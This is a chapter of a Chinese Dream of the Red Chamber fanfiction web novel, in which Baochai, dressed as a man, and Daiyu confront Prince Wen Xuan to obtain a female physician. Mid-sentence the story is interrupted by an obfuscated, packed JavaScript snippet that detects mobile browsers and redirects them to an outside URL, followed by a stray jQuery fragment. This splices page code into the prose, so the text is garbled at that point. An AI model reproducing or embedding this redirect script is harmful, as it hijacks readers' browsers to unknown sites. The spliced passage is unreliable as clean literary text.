12. 薛宝钗谋计求女医 林黛玉陈情动郡王(三)

作品:《[红楼]金玉双姝

    很快便是三日后,南安老太妃寿宴。


    黛玉和迎春等人跟着贾母前往南安郡王府,宝钗算作薛王两家那一派,并未同贾府一起。待入王府,重重女眷里,黛玉左右寻不到宝钗的影子。


    正着急,宝钗身边的莺儿忽然出现,悄声凑近道:“林姑娘,我家姑娘叫你过去。”


    黛玉瞧着贾母正在与太妃谈笑,便带着莺儿给王夫人打招呼:“舅母,我去找宝姐姐。”


    王夫人略扫了眼园子,里面大多是各府女眷,院门都有人看守,这才安心,便笑道:“好孩子,去罢,你和宝丫头都别走太远,只与自家女孩子在一处玩。”


    “是。”


    黛玉跟着莺儿一路走,留心一看,发现不是去王家女眷处,纳罕道:“宝姐姐在哪?”


    莺儿尚未作声,斜刺里,一只手突然将黛玉拉过去,在她惊呼出声前,听见耳畔传来熟悉的笑声,“颦儿,是我。”


    黛玉侧眸一瞧,瞪大眼睛,“你这是……扮作了男子?!”


    只见宝钗头戴玉冠,身上穿着织锦长袍配宝蓝腰封,端的是个俊俏公子的模样!


    “嘘!”宝钗示意噤声,打发莺儿回去,又拉着黛玉躲进月亮门旁,这里有几树茂盛的梅花,正好供人藏身。


    “一会儿正主就要来了,你先在此地等我,若我不成,你就借寻香袋的由头出来,见机行事。”


    宝钗才嘱咐完,月亮门另一头的园子便传来动静。


    那里是男宾区,黛玉立刻藏进梅树后。她略猜测便知,这是薛蟠找了机会引南安郡王前来。


    与此同时,有道声音传来,“你在玩什么把戏?太阿剑究竟在何处?”


    月亮门另一端,闻暄迈进园子,身后跟着慌张擦汗的薛蟠。


    “宝宝宝剑就在园中!”薛蟠磕磕巴巴道,“我实在拿不动,有劳郡王亲自来!”


    此话实在漏洞百出,闻暄微眯起眼,也懒得质问薛蟠。


    这是郡王府,谅这呆子也不敢作怪!他倒要看看幕后之人是谁,敢在老太太寿宴上玩这么拙劣的把戏!


    “是你自己出来,还是我请你?”闻暄突然一把掐住薛蟠后颈,五大三粗的男人竟被他单手拎得双脚离地。


    “啊!郡王饶命啊!郡王饶命!”薛蟠吓得嚷嚷。


    忽然,一个文秀公子闪身出现,恭敬行礼:“给郡王请安,家兄受我所托,不得已用这种方式请出郡王,还请饶过家兄。”


    闻暄冷笑,随手将薛蟠一扔,“骗我作甚?”


    宝钗眸光微动,将早早备好的剑盒呈了上来,“并非全然欺骗郡王,以太阿剑相赠是真,有求于郡王也是真。”


    闻暄接过太阿剑,日光折射在剑身上,泛着锋利的冷光,的确是把好剑!


    可惜……闻暄冷笑,忽将太阿剑扔回剑盒,漠然道:“我最烦自作聪明的人,以为揣度了我的喜好,便能同我做交易?”


    宝钗皱眉,顾不得恭敬,抬头道:“郡王!实在是不得已为之!我们想求贵府谈女医出诊,因她常侍太妃左右……”


    不等她说完,闻暄打断道:“又是谈女医?”


    他面色不善,盯着薛蟠道:“别以为我不知你兄长的德行,一个荒淫好色之徒,几次三番求我府中女医,难不成天底下的太医死绝了?就没有男医能治他的病?”


    “我我我没有啊!郡王!冤枉!”薛蟠百口莫辩,急得脸色涨红。


    闻暄转身要走,宝钗忙道:“不是治我兄长!是我妹妹病了!”


    “又说笑话!你们薛家一儿一女,哪有妹妹?!”说罢,闻暄反应过来,忽然盯住宝钗,眼神阴鸷。


    对啊,薛家一儿一女,薛蟠是儿子,又哪来的弟弟?眼前这个……分明是女娇娥!


    闻暄扯开一丝笑,眼底却深入寒潭,“好啊,你薛家当真人才辈出。还敢女扮男装来骗我?”


    “我管你治谁,去请别人!别打我府上的主意!”


    宝钗自知暴露,也别无他法。


    这是男宾区,她一个女子只身前来,本就不合礼数。她原想延医请药是个正经理由,但凡有点同理心的人,都会答应。


    没料到闻暄竟然如此厌恶薛蟠,以至于怀疑他们合谋骗他府上女医!更没想到,他性情冷僻,才不管别人死活!


    眼见事情走向死胡同,月亮门内,黛玉紧攥着衣角,只觉气血上涌,早将香袋的借口抛之脑后,恨不得去同这人辩论一番!


    她一面觉得难受,想着宝钗与薛蟠为自己的父亲奔波,却受此折辱;一面又觉气愤,怎么世间有如此蛮横不讲理之人。


    心潮起伏之下,脚底不小心踩到一根树枝。


    闻暄眸色一冷,眼风凌厉,“谁?!”


    他的视线投向月亮门旁的梅花丛,腊月红梅盛开,新雪尚未融化,寒意裹挟着梅香扑面而来。一只细白的手压低梅枝,天青色缂丝银鼠披风衬得肤色如雪,隐隐透着青蓝的血管。待那只手移开梅枝,一双似嗔似喜的含情美目,恰好与闻暄的视线相撞。


    闻暄怔住,手指无意识蜷缩。


    冬日天光暗沉,有下雪的征兆,原本黯淡的梅园,却因那位缓缓踱步而出的女子,平添光华,叫人眼里容不得梅花,只剩那张夺目的脸。


    周围似有呼呼风声,闻暄却只听见绣花鞋踩着枯叶残雪,一步步向自己走来的轻响。


    那女子的红唇一张一合,好像在说着什么,眼底神情灵动,又带着嗔怒与讥讽,不像是好话。


    闻暄不知自己怎么了,只听见心脏跳动,便是努力想听清她说的话,也只觉脑子混沌。


    直到那女子双颊泛红,眸光怒意汹涌,唇边却噙着笑:“……郡王也是好教养,我同你说话,你听不见?”


    黛玉当真恼怒,她方才从头到脚将闻暄批驳一顿,半点不带脏字,自觉发挥完美!这人却一言不发,就像一拳打在棉花上,越发叫人气愤!


    闻暄回过神,见黛玉与自己相隔咫尺,下意识后退一步,拧眉道:“听见了,姑娘为何出言不逊?”


    黛玉嗤笑:“是郡王无礼在先,妄下论断。”


    “难道是我们蠢笨,放着简单的路不走,偏要用这么刁钻的法子?一则,这种疑难杂症只有谈女医有治愈先例,二则,就算我们走正路,让家中长辈请托贵府,郡王就会乖乖放人?您扪心自问,会如此简单吗?”


    闻暄动了动唇,想开口,又发现她还真说对了。


    就算贾母来请,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333659|167709||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他都不会轻易松口。


    “我们借着送礼的由头见郡王,还不是叫您驳了回去?”黛玉越说气势越凌厉,“左不是,右也不是,说是治病您也不信。太妃身体康健,谈女医在贵府只是寻常问诊,于我们却能救命。您宁愿空拘着女医,也不愿救人一命,古今上下也挑不出您这样的好人!”


    “林妹妹!”宝钗惊呼,拉过黛玉,挡在她身前,“郡王,这就是我妹妹,她身子弱,一时气愤口无遮拦,您别见怪!”


    一面低声附耳道:“别惹恼他,这人是个阴晴不定的阎王。”


    黛玉气是出了,心里也有些后悔。想了想,又觉得重活一世,还要受窝囊气,更没意思。


    “我说的都是实话,郡王若是听不得实话,那我以后就不说了。”黛玉轻笑,眼底似有挑衅,看向闻暄。


    闻暄从小到大没被人这么训过,本该生气,可是酝酿好一阵子,那股子火气凝聚不起来,一瞧见她眼底的挑衅,干脆连火星子都被浇灭了。


    只是面上还得装个威严的模样,冷声道:“你好大的胆子,敢这么同我说话?”


    黛玉撇过脸,冷哼一声,不理人。


    闻暄拳头紧了紧,也哼了一声道:“罢了!念你初犯,饶你一次。”


    “那什么女医,真以为什么稀罕人物,既是给你妹妹治病,赶紧带走!别再来烦我!”


    他声音冷硬。


    落在宝钗与黛玉耳中,却眼前一亮。


    “多谢郡王!”宝钗笑道。


    黛玉不轻不重瞥了闻暄一眼,那股怨气散了,声音软下几分:“多谢郡王。”


    闻暄喉结微动,面容却更冷,干脆背过身去:“你们也快走,两个女子出现在这里,名声不要了?”


    事情已了结,宝钗和黛玉自然不便久留,转身离去。


    快要踏出月亮门,黛玉忽然记起香袋,忙调头回去。谁知闻暄正跨步上前,冷不防,一头撞在他胸前。


    “啊!”黛玉下意识后退,捂着额头,皱眉打量闻暄的胸膛,像是在怪他的肉怎么这样硬!


    闻暄也不耐地看着她,“还回来作甚?”


    黛玉抬眸看他,额头被撞得通红,疼痛让她眼底泛着水雾。


    闻暄轻哼:“娇气。”


    听见他语气生硬,黛玉心中渐生怒火,开口便没好气:“我的香袋,还我!”


    闻暄:“什么香袋?不知道。”


    黛玉暗咬嘴唇:“你去东府时,宝玉给你的那只。”


    “宝玉?”闻暄挑眉,“他是你谁?为何你的香袋送给了他?”


    黛玉皱眉:“这与郡王何干?你只管还我。”


    闻暄嗤笑:“香袋又没写名字,给了我的就是我的。”


    黛玉语塞,半晌冷笑道:“郡王的脸皮,我算是见识了!”


    说罢,转身就走,发间的步摇随着主人的心情晃动得厉害。


    目送背影走远,闻暄背在身后的手才伸出来,掌心握着一株红梅,是他方才跨步上前折的。


    冰雪林中著此身,不同桃李混芳尘。


    红梅娇艳,却输给那双似嗔似喜的含情目。


    闻暄也不知自己为何,莫名其妙将她触碰的红梅折下。